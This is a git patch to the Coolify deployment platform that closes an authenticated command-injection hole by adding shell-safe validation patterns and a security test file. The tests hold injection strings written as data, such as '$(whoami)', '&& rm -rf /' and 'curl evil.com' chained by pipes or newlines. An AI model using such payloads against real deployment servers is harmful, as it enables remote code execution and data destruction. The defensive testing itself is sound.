From 23f9156c7306b221101f1ebbe4d3c6b5e2522acd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 13:53:01 +0100 Subject: [PATCH] Squashed commit from 'qqrq-r9h4-x6wp-authenticated-rce' --- .../Api/ApplicationsController.php | 4 +- app/Jobs/ApplicationDeploymentJob.php | 47 ++- app/Livewire/Project/Application/General.php | 78 ++-- app/Support/ValidationPatterns.php | 62 ++- bootstrap/helpers/api.php | 21 +- .../project/application/general.blade.php | 8 +- .../Feature/CommandInjectionSecurityTest.php | 363 ++++++++++++++++++ 7 files changed, 507 insertions(+), 76 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6188651a1..6f34b43bf 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2472,7 +2472,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2483,8 +2483,6 @@ public function update_by_uuid(Request $request) 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', 'docker_compose_domains.*.domain' => 'string|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', 'custom_nginx_configuration' => 'string|nullable', 'is_http_basic_auth_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..ed77b7c67 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id) $this->preserveRepository = $this->application->settings->is_preserve_repository_enabled; $this->basedir = $this->application->generateBaseDir($this->deployment_uuid); - $this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/'); + $baseDir = $this->application->base_directory; + if ($baseDir && $baseDir !== '/') { + $this->validatePathField($baseDir, 'base_directory'); + } + $this->workdir = "{$this->basedir}".rtrim($baseDir, '/'); $this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}"; $this->is_debug_enabled = $this->application->settings->is_debug_enabled; @@ -312,7 +316,11 @@ public function handle(): void } if ($this->application->dockerfile_target_build) { - $this->buildTarget = " --target {$this->application->dockerfile_target_build} "; + $target = $this->application->dockerfile_target_build; + if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); + } + $this->buildTarget = " --target {$target} "; } // Check custom port @@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack() $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command'); $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; @@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack() } } if (data_get($this->application, 'docker_compose_custom_build_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command'); $this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command; if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) { $this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); @@ -3948,6 +3958,24 @@ private function validatePathField(string $value, string $fieldName): string return $value; } + private function validateShellSafeCommand(string $value, string $fieldName): string + { + if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); + } + + return $value; + } + + private function validateContainerName(string $value): string + { + if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + throw new \RuntimeException('Invalid container name: contains forbidden characters.'); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { @@ -3961,7 +3989,17 @@ private function run_pre_deployment_command() foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) { + // Security: pre_deployment_command is intentionally treated as arbitrary shell input. + // Users (team members with deployment access) need full shell flexibility to run commands + // like "php artisan migrate", "npm run build", etc. inside their own application containers. + // The trust boundary is at the application/team ownership level — only authenticated team + // members can set these commands, and execution is scoped to the application's own container. + // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not + // restrict the command itself. Container names are validated separately via validateContainerName(). $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( @@ -3988,7 +4026,12 @@ private function run_post_deployment_command() $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id); foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { + // Security: post_deployment_command is intentionally treated as arbitrary shell input. + // See the equivalent comment in run_pre_deployment_command() for the full security rationale. $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b3fe99806..ca1daef72 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -7,7 +7,6 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; -use Livewire\Attributes\Validate; use Livewire\Component; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -22,136 +21,95 @@ class General extends Component public Collection $services; - #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')] public string $name; - #[Validate(['string', 'nullable'])] public ?string $description = null; - #[Validate(['nullable'])] public ?string $fqdn = null; - #[Validate(['required'])] public string $gitRepository; - #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; - #[Validate(['string', 'nullable'])] public ?string $installCommand = null; - #[Validate(['string', 'nullable'])] public ?string $buildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $startCommand = null; - #[Validate(['required'])] public string $buildPack; - #[Validate(['required'])] public string $staticImage; - #[Validate(['required'])] public string $baseDirectory; - #[Validate(['string', 'nullable'])] public ?string $publishDirectory = null; - #[Validate(['string', 'nullable'])] public ?string $portsExposes = null; - #[Validate(['string', 'nullable'])] public ?string $portsMappings = null; - #[Validate(['string', 'nullable'])] public ?string $customNetworkAliases = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfileTargetBuild = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageName = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerCompose = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeRaw = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomStartCommand = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomBuildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $customDockerRunOptions = null; - #[Validate(['string', 'nullable'])] + // Security: pre/post deployment commands are intentionally arbitrary shell — users need full + // flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization. + // Commands execute inside the application's own container, not on the host. public ?string $preDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $preDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $customNginxConfiguration = null; - #[Validate(['boolean', 'required'])] public bool $isStatic = false; - #[Validate(['boolean', 'required'])] public bool $isSpa = false; - #[Validate(['boolean', 'required'])] public bool $isBuildServerEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isPreserveRepositoryEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelEscapeEnabled = true; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelReadonlyEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isHttpBasicAuthEnabled = false; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthUsername = null; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthPassword = null; - #[Validate(['nullable'])] public ?string $watchPaths = null; - #[Validate(['string', 'required'])] public string $redirect; - #[Validate(['nullable'])] public $customLabels; public bool $labelsChanged = false; @@ -184,33 +142,33 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], + 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', 'buildPack' => 'required', 'staticImage' => 'required', - 'baseDirectory' => 'required', - 'publishDirectory' => 'nullable', + 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), + 'publishDirectory' => ValidationPatterns::directoryPathRules(), 'portsExposes' => 'required', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], - 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfileLocation' => ValidationPatterns::filePathRules(), + 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', - 'dockerfileTargetBuild' => 'nullable', - 'dockerComposeCustomStartCommand' => 'nullable', - 'dockerComposeCustomBuildCommand' => 'nullable', + 'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(), + 'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(), + 'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(), 'customLabels' => 'nullable', - 'customDockerRunOptions' => 'nullable', + 'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000), 'preDeploymentCommand' => 'nullable', - 'preDeploymentCommandContainer' => 'nullable', + 'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'postDeploymentCommand' => 'nullable', - 'postDeploymentCommandContainer' => 'nullable', + 'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'customNginxConfiguration' => 'nullable', 'isStatic' => 'boolean|required', 'isSpa' => 'boolean|required', @@ -233,6 +191,14 @@ protected function messages(): array [ ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), + 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', + 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', + 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 2ae1536da..fdf2b12a6 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -9,7 +9,7 @@ class ValidationPatterns { /** * Pattern for names excluding all dangerous characters - */ + */ public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u'; /** @@ -23,6 +23,32 @@ class ValidationPatterns */ public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** + * Pattern for directory paths (base_directory, publish_directory, etc.) + * Like FILE_PATH_PATTERN but also allows bare "/" (root directory) + */ + public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/'; + + /** + * Pattern for Docker build target names (multi-stage build stage names) + * Allows alphanumeric, dots, hyphens, and underscores + */ + public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for shell-safe command strings (docker compose commands, docker run options) + * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns + * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks + * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + */ + public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/'; + + /** + * Pattern for Docker container names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + */ + public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength = public static function nameMessages(): array { return [ - 'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &", + 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &', 'name.min' => 'The name must be at least :min characters.', 'name.max' => 'The name may not be greater than :max characters.', ]; @@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st ]; } + /** + * Get validation rules for directory path fields (base_directory, publish_directory) + */ + public static function directoryPathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN]; + } + + /** + * Get validation rules for Docker build target fields + */ + public static function dockerTargetRules(int $maxLength = 128): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN]; + } + + /** + * Get validation rules for shell-safe command fields + */ + public static function shellSafeCommandRules(int $maxLength = 1000): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; + } + + /** + * Get validation rules for container name fields + */ + public static function containerNameRules(int $maxLength = 255): array + { + return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 43c074cd1..ec42761f7 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -101,8 +101,8 @@ function sharedDataApplications() 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => 'string|nullable', - 'publish_directory' => 'string|nullable', + 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,21 +125,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => 'string|nullable', + 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). + // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => 'string', + 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => 'string', + 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', + 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', ]; } diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index aada339cc..e27eda8b6 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry" @else
- @if ($buildPack === 'dockerfile' && !$application->dockerfile) - 'production; echo pwned'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'builder$(whoami)'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand injection in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'stage && env'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid target names', function ($target) { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => $target], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']); + + test('runtime validates dockerfile_target_build', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + + // Test that validateShellSafeCommand is also available as a pattern + $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN; + expect(preg_match($pattern, 'production'))->toBe(1); + expect(preg_match($pattern, 'build; env'))->toBe(0); + expect(preg_match($pattern, 'target`whoami`'))->toBe(0); + }); +}); + +describe('base_directory validation', function () { + test('rejects shell metacharacters in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/src; echo pwned'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/dir$(whoami)'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid base directories', function ($dir) { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => $dir], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['/', '/src', '/backend/app', '/packages/@scope/app']); + + test('runtime validates base_directory via validatePathField', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, '/src', 'base_directory')) + ->toBe('/src'); + }); +}); + +describe('docker_compose_custom_command validation', function () { + test('rejects semicolon injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand chaining in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker compose commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => $cmd], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'docker compose build', + 'docker compose up -d --build', + 'docker compose -f custom.yml build --no-cache', + ]); + + test('rejects backslash in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects single quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects double quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects carriage return injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('runtime validates docker compose commands', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command')) + ->toBe('docker compose up -d --build'); + }); +}); + +describe('custom_docker_run_options validation', function () { + test('rejects semicolon injection in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in custom_docker_run_options', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => '--hostname=$(whoami)'], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker run options', function ($opts) { + $rules = sharedDataApplications(); + + $validator = validator( + ['custom_docker_run_options' => $opts], + ['custom_docker_run_options' => $rules['custom_docker_run_options']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + '--cap-add=NET_ADMIN --cap-add=NET_RAW', + '--privileged --init', + '--memory=512m --cpus=2', + ]); +}); + +describe('container name validation', function () { + test('rejects shell injection in container name', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => 'my-container; echo pwned'], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid container names', function ($name) { + $rules = sharedDataApplications(); + + $validator = validator( + ['post_deployment_command_container' => $name], + ['post_deployment_command_container' => $rules['post_deployment_command_container']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['my-app', 'nginx_proxy', 'web.server', 'app123']); + + test('runtime validates container names', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateContainerName'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'container; echo pwned')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + 